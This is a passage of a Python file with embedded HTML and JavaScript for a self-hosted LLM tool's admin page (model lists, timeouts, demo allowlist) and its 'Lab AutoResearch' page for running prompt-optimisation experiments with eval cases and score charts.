hideAddCloud();
|
|
document.getElementById('add-cloud-id').value = '';
|
|
document.getElementById('add-cloud-name').value = '';
|
|
}
|
|
|
|
async function fetchORModels() {
|
|
const el = document.getElementById('or-model-list');
|
|
el.innerHTML = '<div class="empty">Fetching...</div>';
|
|
const r = await fetch('/api/admin/openrouter/models');
|
|
const data = await r.json();
|
|
orModels = data.models || [];
|
|
if (data.error) { el.innerHTML = '<div class="empty" style="color:var(--red)">Error: '+data.error+'</div>'; return; }
|
|
renderORModels();
|
|
}
|
|
|
|
function renderORModels() {
|
|
const q = (document.getElementById('or-search').value || '').toLowerCase();
|
|
const filtered = q ? orModels.filter(m => m.name.toLowerCase().includes(q) || m.id.toLowerCase().includes(q)) : orModels;
|
|
const el = document.getElementById('or-model-list');
|
|
if (!filtered.length) { el.innerHTML = '<div class="empty">No models found.</div>'; return; }
|
|
const existing = new Set((config.cloud_models||[]).map(m=>m.id));
|
|
el.innerHTML = filtered.map(m => {
|
|
const added = existing.has('openrouter::'+m.id);
|
|
const ctx = m.context_length ? (m.context_length/1000).toFixed(0)+'K' : '?';
|
|
return `<div class="model-row">
|
|
<span class="name">${m.name}</span>
|
|
<span class="meta">${ctx} ctx</span>
|
|
${added
|
|
? '<button class="btn btn-sm" disabled style="opacity:0.4">Added</button>'
|
|
: `<button class="btn btn-sm btn-green" onclick="addOR('${m.id}','${m.name.replace(/'/g,"\\'")}')">Add</button>`}
|
|
</div>`;
|
|
}).join('');
|
|
}
|
|
|
|
function filterOR() { renderORModels(); }
|
|
|
|
async function addOR(id, name) {
|
|
config.cloud_models = config.cloud_models || [];
|
|
config.cloud_models.push({id: 'openrouter::'+id, display_name: name, enabled: true});
|
|
await saveCloudModels();
|
|
renderORModels();
|
|
toast('Added: ' + name);
|
|
}
|
|
|
|
async function saveTimeouts() {
|
|
var g = parseInt(document.getElementById('global-timeout').value) || 300;
|
|
config.timeouts = config.timeouts || {};
|
|
config.timeouts.global = g;
|
|
try {
|
|
var r = await fetch('/api/admin/config', {method:'POST', headers:{'Content-Type':'application/json'},
|
|
body:JSON.stringify({timeouts: config.timeouts})});
|
|
var d = await r.json();
|
|
var perCount = Object.keys((config.timeouts||{}).per_model||{}).length;
|
|
if (d.ok) toast('Timeouts saved', true, 'Global: ' + g + 's' + (perCount ? ', ' + perCount + ' overrides' : ''));
|
|
else toast('Save failed', false);
|
|
} catch(e) { toast('Save error: ' + e.message, false); }
|
|
}
|
|
|
|
function setModelTimeout(name, val) {
|
|
config.timeouts = config.timeouts || {};
|
|
config.timeouts.per_model = config.timeouts.per_model || {};
|
|
if (val && parseInt(val)) {
|
|
config.timeouts.per_model[name] = parseInt(val);
|
|
} else {
|
|
delete config.timeouts.per_model[name];
|
|
}
|
|
saveTimeouts();
|
|
}
|
|
|
|
function toggleVis(id) {
|
|
const el = document.getElementById(id);
|
|
el.type = el.type === 'password' ? 'text' : 'password';
|
|
}
|
|
|
|
function switchTab(name) {
|
|
document.querySelectorAll('.tab').forEach((t,i) => t.classList.toggle('active', t.textContent.toLowerCase().includes(name.substring(0,4))));
|
|
document.querySelectorAll('.tab-content').forEach(c => c.classList.toggle('active', c.id === 'tab-'+name));
|
|
if (name === 'timeouts') renderTimeouts();
|
|
if (name === 'models') { loadOllamaModels(); renderCloudModels(); }
|
|
if (name === 'security') { loadDemoStatus(); loadAllowlist(); }
|
|
}
|
|
|
|
async function loadDemoStatus() {
|
|
const r = await fetch('/api/demo/status');
|
|
const d = await r.json();
|
|
const btn = document.getElementById('admin-demo-btn');
|
|
const st = document.getElementById('demo-status-admin');
|
|
if (d.active) {
|
|
btn.textContent = 'Disable Demo';
|
|
btn.className = 'btn btn-r';
|
|
st.innerHTML = 'Status: <strong style="color:var(--green)">ON</strong>' + (d.started_by ? ' (by ' + d.started_by + ')' : '');
|
|
} else {
|
|
btn.textContent = 'Enable Demo';
|
|
btn.className = 'btn btn-g';
|
|
st.innerHTML = 'Status: <strong style="color:var(--text2)">Off</strong>';
|
|
}
|
|
}
|
|
|
|
async function adminToggleDemo() {
|
|
await fetch('/api/demo/toggle', {method:'POST'});
|
|
loadDemoStatus();
|
|
toast('Demo mode toggled');
|
|
}
|
|
|
|
async function loadAllowlist() {
|
|
const r = await fetch('/api/demo/allowlist');
|
|
const d = await r.json();
|
|
const el = document.getElementById('allowlist');
|
|
if (!d.ips || !d.ips.length) { el.innerHTML = '<div class="empty">No IPs in allowlist.</div>'; return; }
|
|
el.innerHTML = d.ips.map(ip =>
|
|
`<div class="model-row"><span class="name">${ip}</span>${ip.startsWith('192.168.1.') ? '<span class="meta">LAN</span>' : ''}<button class="btn btn-sm btn-r" onclick="removeAllowIP('${ip}')">Remove</button></div>`
|
|
).join('');
|
|
}
|
|
|
|
async function addAllowlistIP() {
|
|
const ip = prompt('Enter IP address to allowlist:');
|
|
if (!ip) return;
|
|
await fetch('/api/demo/allowlist', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({ip, action:'add'})});
|
|
loadAllowlist();
|
|
toast('Added ' + ip);
|
|
}
|
|
|
|
async function removeAllowIP(ip) {
|
|
await fetch('/api/demo/allowlist', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({ip, action:'remove'})});
|
|
loadAllowlist();
|
|
toast('Removed ' + ip);
|
|
}
|
|
|
|
function toast(msg, ok=true, detail) {
|
|
var t = document.createElement('div');
|
|
t.className = 'toast ' + (ok ? 'ok' : 'err');
|
|
t.textContent = ok ? '✓ ' + msg : '✗ ' + msg;
|
|
if (detail) {
|
|
var d = document.createElement('div');
|
|
d.className = 'toast-detail';
|
|
d.textContent = detail;
|
|
t.appendChild(d);
|
|
}
|
|
document.body.appendChild(t);
|
|
setTimeout(function() { t.style.opacity = '0'; t.style.transition = 'opacity 0.3s'; setTimeout(function() { t.remove(); }, 300); }, 3000);
|
|
}
|
|
|
|
loadConfig();
|
|
|
|
// Background grid
|
|
!function(){var c=document.getElementById('bg-grid');if(!c)return;var x=c.getContext('2d');function resize(){c.width=window.innerWidth;c.height=window.innerHeight}resize();window.addEventListener('resize',resize);var t=0;function draw(){x.clearRect(0,0,c.width,c.height);var s=50,ox=(t*0.2)%s,oy=(t*0.1)%s;x.fillStyle='rgba(226,181,90,0.025)';for(var gx=-s+ox;gx<c.width+s;gx+=s)for(var gy=-s+oy;gy<c.height+s;gy+=s){x.beginPath();x.arc(gx,gy,0.7,0,Math.PI*2);x.fill()}t++;requestAnimationFrame(draw)}draw()}();
|
|
</script>
|
|
</body>
|
|
</html>
|
|
"""
|
|
|
|
LAB_HTML = r"""
|
|
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>LLM Team - Lab</title>
|
|
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
|
|
<style>
|
|
:root { --bg:#08090c;--surface:rgba(14,16,22,0.82);--surface2:rgba(20,22,30,0.7);--border:#2a2d35;--text:#e8e6e3;--text2:#7a7872;
|
|
--accent:#e2b55a;--accent2:#f0cc74;--green:#4ade80;--orange:#f59e0b;--red:#e05252;--blue:#5b9cf5;--glow:rgba(226,181,90,0.06); }
|
|
*{box-sizing:border-box;margin:0;padding:0}
|
|
body{font-family:'Inter',sans-serif;background:var(--bg);color:var(--text);min-height:100vh;overflow-x:hidden}
|
|
canvas#bg-grid{position:fixed;inset:0;z-index:0;pointer-events:none}
|
|
.scanlines{position:fixed;inset:0;z-index:1;pointer-events:none;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,0.02) 2px,rgba(0,0,0,0.02) 4px)}
|
|
.c{max-width:1200px;margin:0 auto;padding:16px 28px;position:relative;z-index:10}
|
|
header{display:flex;align-items:center;gap:14px;padding:18px 0;border-bottom:2px solid var(--border);margin-bottom:22px}
|
|
header h1{font-family:'JetBrains Mono',monospace;font-size:20px;font-weight:700;letter-spacing:-0.5px}
|
|
header h1 span{color:var(--green)}
|
|
.nav-link{color:var(--text2);text-decoration:none;font-size:10px;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px;padding:5px 10px;border:2px solid var(--border);border-radius:2px}
|
|
.nav-link:hover{border-color:var(--accent);color:var(--accent)}
|
|
.tabs{display:flex;gap:4px;margin-bottom:20px;flex-wrap:wrap}
|
|
.tab{padding:8px 16px;background:transparent;border:2px solid var(--border);border-radius:2px;color:var(--text2);cursor:pointer;font-size:11px;font-weight:600;transition:all .15s;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px}
|
|
.tab:hover{border-color:var(--accent);color:var(--text)}
|
|
.tab.active{border-color:var(--accent);background:var(--glow);color:var(--accent)}
|
|
.tc{display:none}.tc.active{display:block}
|
|
.card{background:var(--surface);border:2px solid var(--border);border-radius:2px;padding:20px;margin-bottom:12px;backdrop-filter:blur(16px);position:relative}
|
|
.card::before{content:'';position:absolute;top:-1px;left:16px;right:16px;height:1px;background:linear-gradient(90deg,transparent,rgba(226,181,90,0.15),transparent)}
|
|
.card h3{font-family:'JetBrains Mono',monospace;font-size:13px;font-weight:700;margin-bottom:14px;display:flex;align-items:center;gap:8px;text-transform:uppercase;letter-spacing:0.5px}
|
|
.row{display:flex;gap:10px;align-items:center;margin-bottom:10px;font-size:13px}
|
|
.row label{width:100px;color:var(--text2);flex-shrink:0;font-weight:600;font-family:'JetBrains Mono',monospace;font-size:10px;text-transform:uppercase;letter-spacing:0.5px}
|
|
.row input,.row select,.row textarea{flex:1;background:rgba(0,0,0,0.4);border:2px solid var(--border);color:var(--text);border-radius:2px;padding:8px 10px;font-size:13px;font-family:inherit}
|
|
.row input:focus,.row select:focus,.row textarea:focus{outline:none;border-color:var(--accent);box-shadow:0 0 0 1px var(--accent)}
|
|
.btn{padding:7px 14px;border:2px solid var(--border);border-radius:2px;background:transparent;color:var(--text);cursor:pointer;font-size:10px;font-weight:700;transition:all .15s;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px}
|
|
.btn:hover{border-color:var(--accent);color:var(--accent)}
|
|
.btn-p{background:var(--accent);border-color:var(--accent);color:#08090c}
|
|
.btn-p:hover{background:var(--accent2)}
|
|
.btn-g{border-color:rgba(74,222,128,0.3);color:var(--green)}
|
|
.btn-g:hover{background:rgba(74,222,128,0.06)}
|
|
.btn-r{border-color:rgba(224,82,82,0.3);color:var(--red)}
|
|
.btn-r:hover{background:rgba(224,82,82,0.06)}
|
|
.btn-o{border-color:rgba(245,158,11,0.3);color:var(--orange)}
|
|
.btn-o:hover{background:rgba(245,158,11,0.06)}
|
|
.exp-item{background:rgba(0,0,0,0.25);border:2px solid var(--border);border-radius:2px;padding:14px;margin-bottom:8px;cursor:pointer;transition:border-color .15s}
|
|
.exp-item:hover{border-color:var(--accent)}
|
|
.exp-item .name{font-weight:600;font-size:14px}
|
|
.exp-item .meta{font-size:10px;color:var(--text2);display:flex;gap:12px;margin-top:4px;font-family:'JetBrains Mono',monospace}
|
|
.status-pill{display:inline-block;padding:2px 8px;border-radius:2px;font-size:9px;font-weight:700;text-transform:uppercase;letter-spacing:0.5px;font-family:'JetBrains Mono',monospace;border:1px solid}
|
|
.status-pill.idle{background:transparent;color:var(--text2);border-color:var(--border)}
|
|
.status-pill.running{background:rgba(74,222,128,0.08);color:var(--green);border-color:rgba(74,222,128,0.3);animation:pulse 2s infinite}
|
|
.status-pill.paused{background:rgba(245,158,11,0.08);color:var(--orange);border-color:rgba(245,158,11,0.3)}
|
|
@keyframes pulse{0%,100%{opacity:1}50%{opacity:.5}}
|
|
.eval-row{display:grid;grid-template-columns:1fr 1fr auto;gap:8px;margin-bottom:6px;align-items:start}
|
|
.eval-row textarea{min-height:50px;font-size:12px;resize:vertical;background:rgba(0,0,0,0.4);border:2px solid var(--border);color:var(--text);border-radius:2px;padding:8px}
|
|
.eval-row textarea:focus{border-color:var(--accent);outline:none}
|
|
.eval-row .btn{margin-top:0;flex-shrink:0;align-self:center}
|
|
.model-chip{display:inline-block;padding:4px 10px;border-radius:2px;font-size:11px;margin:2px;cursor:pointer;border:2px solid var(--border);transition:all .15s;font-family:'JetBrains Mono',monospace}
|
|
.model-chip:hover{border-color:var(--accent)}
|
|
.model-chip.sel{background:var(--glow);border-color:var(--accent);color:var(--accent)}
|
|
.chart-wrap{background:rgba(0,0,0,0.3);border:2px solid var(--border);border-radius:2px;padding:12px;margin-bottom:14px;overflow:hidden}
|
|
.chart-wrap svg{width:100%;height:200px}
|
|
.trial-log{max-height:400px;overflow-y:auto}
|
|
.trial-log::-webkit-scrollbar{width:3px}
|
|
.trial-log::-webkit-scrollbar-thumb{background:rgba(226,181,90,0.15)}
|
|
.trial-item{display:flex;align-items:center;gap:8px;padding:6px 10px;font-size:12px;border-bottom:1px solid rgba(42,45,53,0.3)}
|
|
.trial-item:last-child{border:none}
|
|
.trial-item .num{width:30px;color:var(--text2);font-weight:600;font-family:'JetBrains Mono',monospace}
|
|
.trial-item .diff{flex:1;color:var(--text2);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
|
|
.trial-item .score{font-weight:700;width:50px;text-align:right;font-family:'JetBrains Mono',monospace}
|
|
.trial-item .ind{width:8px;height:8px;border-radius:2px;flex-shrink:0}
|
|
.best-box{background:rgba(0,0,0,0.3);border:2px solid var(--green);border-radius:2px;padding:12px;font-size:12px;white-space:pre-wrap;max-height:200px;overflow-y:auto;font-family:'JetBrains Mono',monospace}
|
|
.toast{position:fixed;top:20px;right:20px;padding:8px 14px;border-radius:2px;font-size:10px;z-index:100;animation:fi .2s;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px;border:2px solid;backdrop-filter:blur(16px)}
|
|
.toast.ok{background:rgba(74,222,128,0.1);border-color:var(--green);color:var(--green)}
|
|
.toast.err{background:rgba(224,82,82,0.1);border-color:var(--red);color:var(--red)}
|
|
@keyframes fi{from{opacity:0;transform:translateY(-10px)}to{opacity:1}}
|
|
.empty{text-align:center;padding:40px;color:var(--text2);font-size:12px;font-family:'JetBrains Mono',monospace}
|
|
@media(max-width:768px){.tabs{gap:3px}.tab{padding:6px 10px;font-size:9px}.card{padding:14px}}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<canvas id="bg-grid"></canvas>
|
|
<div class="scanlines"></div>
|
|
<div class="c">
|
|
<header>
|
|
<h1><span>Lab</span> AutoResearch</h1>
|
|
<nav style="margin-left:auto;display:flex;gap:6px;align-items:center">
|
|
<a class="nav-link" href="/">Team</a>
|
|
<a class="nav-link" href="/history">History</a>
|
|
<a class="nav-link" href="/admin">Admin</a>
|
|
<a class="nav-link" href="/logs">Logs</a>
|
|
<span style="width:2px;height:16px;background:var(--border);margin:0 2px"></span>
|
|
<a class="nav-link" href="/logout" style="opacity:0.4">Logout</a>
|
|
</nav>
|
|
</header>
|
|
<div class="tabs">
|
|
<div class="tab active" onclick="labTab('experiments')">Experiments</div>
|
|
<div class="tab" onclick="labTab('config')">Mutable Config</div>
|
|
<div class="tab" onclick="labTab('monitor')">Live Monitor</div>
|
|
<div class="tab" onclick="labTab('results')">Results</div>
|
|
</div>
|
|
|
|
<!-- EXPERIMENTS TAB -->
|
|
<div id="lt-experiments" class="tc active">
|
|
<div class="card">
|
|
<h3>Your Experiments <button class="btn btn-p" style="margin-left:auto" onclick="showCreate()">+ New</button></h3>
|
|
<div id="exp-list"><div class="empty">Loading...</div></div>
|
|
</div>
|
|
<div class="card" id="templates-card">
|
|
<h3>Templates <span style="font-size:9px;color:var(--text2);font-weight:400;text-transform:none;letter-spacing:0">click to auto-fill the create form</span></h3>
|
|
<div style="display:grid;gap:8px" id="template-list"></div>
|
|
</div>
|
|
<div id="create-form" class="card" style="display:none;border-color:var(--green)">
|
|
<h3>New Experiment</h3>
|
|
<div class="row"><label>Name</label><input id="cr-name" placeholder="e.g. Prompt Optimization v1"></div>
|
|
<div class="row"><label>Objective</label><input id="cr-obj" placeholder="e.g. Improve answer quality for technical questions"></div>
|
|
<div class="row"><label>Metric</label><select id="cr-metric"><option value="quality">Quality (LLM Judge)</option><option value="accuracy">Accuracy (Match)</option><option value="speed">Speed</option></select></div>
|
|
<div style="font-size:11px;text-transform:uppercase;letter-spacing:1.5px;color:var(--text2);margin:12px 0 8px;font-weight:600">Model Pool</div>
|
|
<div id="cr-models"></div>
|
|
<div style="font-size:11px;text-transform:uppercase;letter-spacing:1.5px;color:var(--text2);margin:12px 0 8px;font-weight:600">Eval Cases</div>
|
|
<div id="cr-evals"></div>
|
|
<button class="btn" onclick="addEvalRow()" style="margin-bottom:12px">+ Add Eval Case</button>
|
|
<div class="row" style="justify-content:flex-end;gap:6px">
|
|
<button class="btn" onclick="hideCreate()">Cancel</button>
|
|
<button class="btn btn-p" onclick="createExp()">Create</button>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- MUTABLE CONFIG TAB -->
|
|
<div id="lt-config" class="tc">
|
|
<div class="card" id="config-panel">
|
|
<h3>Mutable Config <span style="font-size:11px;color:var(--text2)" id="cfg-exp-name"></span></h3>
|
|
<div id="no-exp-cfg" class="empty">Select an experiment from the Experiments tab first.</div>
|
|
<div id="cfg-editor" style="display:none">
|
|
<div class="row"><label>System Prompt</label></div>
|
|
<textarea id="cfg-sysprompt" style="width:100%;min-height:100px;background:rgba(0,0,0,0.4);border:2px solid var(--border);color:var(--text);border-radius:2px;padding:10px;font-size:12px;margin-bottom:10px;font-family:'JetBrains Mono',monospace" placeholder="You are a helpful assistant."></textarea>
|
|
<div class="row"><label>Temperature</label><input id="cfg-temp" type="range" min="0" max="1.5" step="0.05" value="0.7" oninput="document.getElementById('cfg-temp-val').textContent=this.value"><span id="cfg-temp-val" style="width:30px;text-align:center;font-size:12px">0.7</span></div>
|
|
<div class="row"><label>Model</label><select id="cfg-model"></select></div>
|
|
<div class="row" style="justify-content:flex-end"><button class="btn btn-p" onclick="saveConfig()">Save Config</button></div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- LIVE MONITOR TAB -->
|
|
<div id="lt-monitor" class="tc">
|
|
<div class="card">
|
|
<h3><span id="mon-name">No Experiment Selected</span>
|
|
<div style="margin-left:auto;display:flex;gap:6px">
|
|
<button class="btn btn-g" onclick="startExp()">Start</button>
|
|
<button class="btn btn-o" onclick="pauseExp()">Pause</button>
|
|
<button class="btn btn-r" onclick="resetExp()">Reset</button>
|
|
</div>
|
|
</h3>
|
|
<div style="display:flex;gap:16px;margin-bottom:14px;font-size:13px">
|
|
<div>Status: <span class="status-pill" id="mon-status">idle</span></div>
|
|
<div>Trials: <strong id="mon-trials">0</strong></div>
|
|
<div>Best: <strong id="mon-best" style="color:var(--green)">0.0</strong>/10</div>
|
|
<div>Improvements: <strong id="mon-impr">0</strong></div>
|
|
</div>
|
|
</div>
|
|
<div class="card">
|
|
<h3>Score Progression</h3>
|
|
<div class="chart-wrap"><svg id="score-chart" viewBox="0 0 800 200"></svg></div>
|
|
</div>
|
|
<div class="card">
|
|
<h3>Trial Log</h3>
|
|
<div class="trial-log" id="trial-log"><div class="empty">Start an experiment to see trials here.</div></div>
|
|
</div>
|
|
<div class="card">
|
|
<h3>Best Config</h3>
|
|
<div class="best-box" id="best-config-display">No best config yet.</div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- RESULTS TAB -->
|
|
<div id="lt-results" class="tc">
|
|
<div class="card">
|
|
<h3>All Experiments</h3>
|
|
<div id="results-list"><div class="empty">Loading...</div></div>
|
|
</div>
|
|
<div class="card" id="result-detail" style="display:none">
|
|
<h3 id="res-name">Experiment</h3>
|
|
<div class="chart-wrap"><svg id="res-chart" viewBox="0 0 800 200"></svg></div>
|
|
<div class="trial-log" id="res-trials"></div>
|
|
<div style="margin-top:12px"><button class="btn btn-p" onclick="exportBest()">Export Best Config</button></div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<script>
|
|
let experiments = [], activeExp = null, activeStream = null, allModels = [], trialData = [];
|
|
|
|
async function init() {
|
|
const r = await fetch('/api/models');
|
|
const d = await r.json();
|
|
allModels = d.models || [];
|
|
await loadExperiments();
|
|
}
|
|
|
|
async function loadExperiments() {
|
|
const r = await fetch('/api/lab/experiments');
|
|
const d = await r.json();
|
|
experiments = d.experiments || [];
|
|
renderExpList();
|
|
renderResults();
|
|
}
|
|
|
|
function renderExpList() {
|
|
const el = document.getElementById('exp-list');
|
|
if (!experiments.length) { el.innerHTML = '<div class="empty">No experiments yet. Create one to get started.</div>'; return; }
|
|
el.innerHTML = experiments.map(e => {
|
|
const rate = e.total_trials > 0 ? ((e.improvements / e.total_trials) * 100).toFixed(0) : 0;
|
|
return `<div class="exp-item" onclick="selectExp(${e.id})">
|
|
<div class="name">${e.name} <span class="status-pill ${e.status}">${e.status}</span></div>
|
|
<div class="meta"><span>Trials: ${e.total_trials}</span><span>Best: ${(e.best_score||0).toFixed(1)}/10</span><span>Improvements: ${e.improvements} (${rate}%)</span><span>${e.metric}</span></div>
|
|
</div>`;
|
|
}).join('');
|
|
}
|
|
|
|
async function selectExp(id) {
|
|
const r = await fetch('/api/lab/experiments/' + id);
|
|
activeExp = await r.json();
|
|
trialData = activeExp.trials || [];
|
|
updateMonitor();
|
|
updateConfigEditor();
|
|
toast('Loaded: ' + activeExp.name);
|
|
}
|
|
|
|
function updateMonitor() {
|
|
if (!activeExp) return;
|
|
document.getElementById('mon-name').textContent = activeExp.name;
|
|
document.getElementById('mon-status').textContent = activeExp.status;
|
|
document.getElementById('mon-status').className = 'status-pill ' + activeExp.status;
|
|
document.getElementById('mon-trials').textContent = activeExp.total_trials;
|
|
document.getElementById('mon-best').textContent = (activeExp.best_score || 0).toFixed(1);
|
|
document.getElementById('mon-impr').textContent = activeExp.improvements;
|
|
if (activeExp.best_config) {
|
|
document.getElementById('best-config-display').textContent = JSON.stringify(activeExp.best_config, null, 2);
|
|
}
|
|
renderTrialLog();
|
|
renderChart('score-chart', trialData);
|
|
}
|
|
|
|
function updateConfigEditor() {
|
|
if (!activeExp) return;
|
|
document.getElementById('no-exp-cfg').style.display = 'none';
|
|
document.getElementById('cfg-editor').style.display = '';
|
|
document.getElementById('cfg-exp-name').textContent = '(' + activeExp.name + ')';
|
|
const mc = activeExp.mutable_config || {};
|
|
document.getElementById('cfg-sysprompt').value = mc.system_prompt || '';
|
|
document.getElementById('cfg-temp').value = mc.temperature || 0.7;
|
|
document.getElementById('cfg-temp-val').textContent = mc.temperature || 0.7;
|
|
const sel = document.getElementById('cfg-model');
|
|
sel.innerHTML = (activeExp.models_pool || []).map(m => `<option value="${m}" ${m===mc.model?'selected':''}>${m}</option>`).join('');
|
|
}
|
|
|
|
async function saveConfig() {
|
|
if (!activeExp) return;
|
|
const mc = {
|
|
system_prompt: document.getElementById('cfg-sysprompt').value,
|
|
temperature: parseFloat(document.getElementById('cfg-temp').value),
|
|
model: document.getElementById('cfg-model').value,
|
|
};
|
|
await fetch('/api/lab/experiments/' + activeExp.id, {method:'PUT', headers:{'Content-Type':'application/json'}, body:JSON.stringify({mutable_config:mc})});
|
|
activeExp.mutable_config = mc;
|
|
toast('Config saved');
|
|
}
|
|
|
|
async function startExp() {
|
|
if (!activeExp) return toast('Select an experiment first', false);
|
|
await fetch('/api/lab/experiments/' + activeExp.id + '/start', {method:'POST'});
|
|
activeExp.status = 'running';
|
|
updateMonitor();
|
|
startStream();
|
|
toast('Experiment started');
|
|
}
|
|
|
|
async function pauseExp() {
|
|
if (!activeExp) return;
|
|
await fetch('/api/lab/experiments/' + activeExp.id + '/pause', {method:'POST'});
|
|
activeExp.status = 'paused';
|
|
updateMonitor();
|
|
toast('Experiment paused');
|
|
}
|
|
|
|
async function resetExp() {
|
|
if (!activeExp) return;
|
|
if (!confirm('Reset all trials for this experiment?')) return;
|
|
await fetch('/api/lab/experiments/' + activeExp.id + '/reset', {method:'POST'});
|
|
trialData = [];
|
|
activeExp.total_trials = 0;
|
|
activeExp.improvements = 0;
|
|
activeExp.best_score = 0;
|
|
activeExp.status = 'idle';
|
|
updateMonitor();
|
|
toast('Experiment reset');
|
|
}
|
|
|
|
function startStream() {
|
|
if (activeStream) activeStream.close();
|
|
if (!activeExp) return;
|
|
const es = new EventSource('/api/lab/experiments/' + activeExp.id + '/stream');
|
|
activeStream = es;
|
|
es.onmessage = function(e) {
|
|
const d = JSON.parse(e.data);
|
|
if (d.type === 'trial') {
|
|
trialData.push(d);
|
|
activeExp.total_trials = d.trial;
|
|
activeExp.best_score = d.best;
|
|
if (d.improved) activeExp.improvements = (activeExp.improvements||0) + 1;
|
|
updateMonitor();
|
|
} else if (d.type === 'done') {
|
|
activeExp.status = 'paused';
|
|
updateMonitor();
|
|
es.close();
|
|
} else if (d.type === 'error') {
|
|
toast(d.message, false);
|
|
}
|
|
};
|
|
es.onerror = function() { es.close(); };
|
|
}
|
|
|
|
function renderTrialLog() {
|
|
const el = document.getElementById('trial-log');
|
|
if (!trialData.length) { el.innerHTML = '<div class="empty">No trials yet.</div>'; return; }
|
|
el.innerHTML = trialData.slice(-50).reverse().map(t =>
|
|
`<div class="trial-item">
|
|
<div class="ind" style="background:${t.improved?'var(--green)':'var(--red)'}"></div>
|
|
<div class="num">#${t.trial}</div>
|
|
<div class="diff">${t.diff || 'no change'}</div>
|
|
<div class="score" style="color:${t.improved?'var(--green)':'var(--text2)'}">${t.score.toFixed(1)}</div>
|
|
</div>`
|
|
).join('');
|
|
el.scrollTop = 0;
|
|
}
|
|
|
|
function renderChart(svgId, trials) {
|
|
const svg = document.getElementById(svgId);
|
|
if (!trials.length) { svg.innerHTML = '<text x="400" y="100" text-anchor="middle" fill="#a1a1aa" font-size="14">No data yet</text>'; return; }
|
|
const w = 800, h = 200, pad = 30;
|
|
const maxScore = 10, minScore = 0;
|
|
const pts = trials.map((t, i) => {
|
|
const x = pad + (i / Math.max(trials.length - 1, 1)) * (w - pad * 2);
|
|
const y = h - pad - ((t.score - minScore) / (maxScore - minScore)) * (h - pad * 2);
|
|
return {x, y, score: t.score, improved: t.improved, trial: t.trial};
|
|
});
|
|
// Best score line
|
|
const bestY = h - pad - ((Math.max(...trials.map(t=>t.best||t.score)) - minScore) / (maxScore - minScore)) * (h - pad * 2);
|
|
let html = `<line x1="${pad}" y1="${bestY}" x2="${w-pad}" y2="${bestY}" stroke="#22c55e" stroke-width="1" stroke-dasharray="4,4" opacity="0.4"/>`;
|
|
// Score line
|
|
const line = pts.map(p => `${p.x},${p.y}`).join(' ');
|
|
html += `<polyline points="${line}" fill="none" stroke="var(--accent)" stroke-width="2" opacity="0.7"/>`;
|
|
// Dots
|
|
pts.forEach(p => {
|
|
html += `<circle cx="${p.x}" cy="${p.y}" r="3" fill="${p.improved?'#22c55e':'#ef4444'}" opacity="0.8"/>`;
|
|
});
|
|
// Axes
|
|
html += `<line x1="${pad}" y1="${pad}" x2="${pad}" y2="${h-pad}" stroke="var(--border)" stroke-width="1"/>`;
|
|
html += `<line x1="${pad}" y1="${h-pad}" x2="${w-pad}" y2="${h-pad}" stroke="var(--border)" stroke-width="1"/>`;
|
|
// Labels
|
|
for (let s = 0; s <= 10; s += 2) {
|
|
const y = h - pad - (s / 10) * (h - pad * 2);
|
|
html += `<text x="${pad-5}" y="${y+4}" text-anchor="end" fill="var(--text2)" font-size="10">${s}</text>`;
|
|
}
|
|
svg.innerHTML = html;
|
|
}
|
|
|
|
// Create experiment
|
|
function showCreate() { document.getElementById('create-form').style.display = ''; renderModelChips(); addEvalRow(); }
|
|
function hideCreate() { document.getElementById('create-form').style.display = 'none'; }
|
|
|
|
let selectedModels = new Set();
|
|
function renderModelChips() {
|
|
document.getElementById('cr-models').innerHTML = allModels.map(m => {
|
|
const s = selectedModels.has(m.name);
|
|
return `<span class="model-chip ${s?'sel':''}" onclick="toggleChip('${m.name}')">${m.display_name || m.name}</span>`;
|
|
}).join('');
|
|
}
|
|
function toggleChip(name) { selectedModels.has(name) ? selectedModels.delete(name) : selectedModels.add(name); renderModelChips(); }
|
|
|
|
let evalRows = [];
|
|
function addEvalRow() {
|
|
evalRows.push({input:'', expected:''});
|
|
renderEvalRows();
|
|
}
|
|
function renderEvalRows() {
|
|
document.getElementById('cr-evals').innerHTML = evalRows.map((r, i) =>
|
|
`<div class="eval-row">
|
|
<textarea placeholder="Input prompt..." oninput="evalRows[${i}].input=this.value">${r.input}</textarea>
|
|
<textarea placeholder="Expected output (optional)..." oninput="evalRows[${i}].expected=this.value">${r.expected}</textarea>
|
|
<button class="btn btn-r" onclick="evalRows.splice(${i},1);renderEvalRows()">x</button>
|
|
</div>`
|
|
).join('');
|
|
}
|
|
|
|
async function createExp() {
|
|
const name = document.getElementById('cr-name').value.trim();
|
|
if (!name) return toast('Name required', false);
|
|
if (!selectedModels.size) return toast('Select at least one model', false);
|
|
if (!evalRows.filter(r=>r.input).length) return toast('Add at least one eval case', false);
|
|
const models = [...selectedModels];
|
|
const body = {
|
|
name,
|
|
objective: document.getElementById('cr-obj').value,
|
|
metric: document.getElementById('cr-metric').value,
|
|
models_pool: models,
|
|
eval_cases: evalRows.filter(r => r.input),
|
|
mutable_config: { system_prompt: 'You are a helpful assistant.', temperature: 0.7, model: models[0] }
|
|
};
|
|
await fetch('/api/lab/experiments', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify(body)});
|
|
hideCreate();
|
|
evalRows = [];
|
|
selectedModels.clear();
|
|
document.getElementById('cr-name').value = '';
|
|
document.getElementById('cr-obj').value = '';
|
|
await loadExperiments();
|
|
toast('Experiment created');
|
|
}
|
|
|
|
// Results tab
|
|
function renderResults() {
|
|
